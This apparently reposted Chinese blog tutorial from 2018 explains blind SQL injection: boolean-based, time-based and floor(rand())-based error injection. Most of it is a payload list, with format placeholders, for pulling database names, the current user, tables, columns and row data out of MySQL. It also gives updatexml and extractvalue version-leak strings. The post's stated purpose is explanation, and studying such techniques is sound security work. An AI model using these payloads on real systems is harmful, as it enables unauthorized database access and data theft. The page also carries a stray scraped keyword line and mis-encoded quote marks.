WEB安全番外第四篇--關於SQL盲註
阿新 • • 發佈:2018-02-11
否則 substr sch date inf 產生一個隨機數 無法 cti tex
一、SQL盲註:
看不到回顯的,無法從返回直接讀取到數據庫內容的對數據的猜解,屬於盲註。
二、第一種--基於布爾類型的盲註:
這種很簡單,最典型的例子,就是挖SQL註入的時候常用的:
1 ‘‘‘ 2 http://www.localhost.com/sqlinjection?id=1‘%20and%20‘1‘=‘1 3 http://www.localhost.com/sqlinjection?id=1‘%20and%20‘1‘=‘2 4 ‘‘‘
實戰時。前面一個判斷是永真的時候,拼接一個判斷,例如【substring(database(),1,1)=‘a‘】
1 """ 2 例如id=1,有正常回顯 3 那麽:4 id = 1 and substring(database(),1,1)=‘a‘ 5 如果後面對了,就有返回,不對就沒有,從而一個一個爆出來 6 """
三、第二種--基於時間類型的盲註:
1 """ 2 select * from tablename where id=‘103‘ and if(substring(database(),1,1)=‘a‘,sleep(5),null)‘; 3 """
這裏如果猜解第一個字符成功,會sleep 5s 否則不會【if(expr1,result1,result2)#如果expr1成立 result1 否則 result2】
以上兩種詳細請參見:
WEB安全第四篇--與數據庫的親密接觸:SQL註入攻擊
四、第三種--特殊的錯誤註入(本次的重點):
0、這裏的報錯是指
1、floor報錯的
(1)公式:
1 """ 2 ?id=2‘ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (核心語句) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+ 3 """
(2)原理:
引用自reber的博客https://www.jianshu.com/p/8c2343705100
1 """ 2 floor()是取整數 3 rand()在0和1之間產生一個隨機數 4 rand(0)*2將取0到2的隨機數 5 floor(rand()*2)有兩條記錄就會報錯 6 floor(rand(0)*2)記錄需為3條以上,且3條以上必報錯,返回的值是有規律的 7 count(*)是用來統計結果的,相當於刷新一次結果 8 group by在對數據進行分組時會先看看虛擬表裏有沒有這個值,沒有的話就插入,存在的話count(*)加1 9 在使用group by時floor(rand(0)*2)會被執行一次,若虛表不存在記錄,插入虛表時會再執行一次,導致會使主鍵中存在重復-->報錯 10 """
五、payload-->爆破數據的語句:
1、database信息
#database count ‘ and(select 1 from(select+count(*),concat((select (select (select+concat(0x7e7e3a7e7e, count(distinct table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+#database name ‘ and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
2、current DB信息
1 #current-database-name 2 ‘+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/database()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+ 3 #current
3、current USER信息
1 #current USER 2 ‘+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/user()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+ 3 #current
4、table 信息
1 #table count 2 ‘+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/count(table_name),/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+ 3 #table name 4 ‘+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/table_name,/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s/**/limit/**/%d,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+
5、column 信息
1 #column num 2 ‘+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(column_name),0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 3 #column name 4 ‘+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,column_name,0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
6、數據
1 #data 2 ‘+and(select 1 from(select count(*),concat((select (select ( select concat(%s) from %s.%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
7、補充:僅針對32位有效的:
?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+
六、參考文獻:
http://wyb0.com/posts/injection-of-error-based/
WEB安全番外第四篇--關於SQL盲註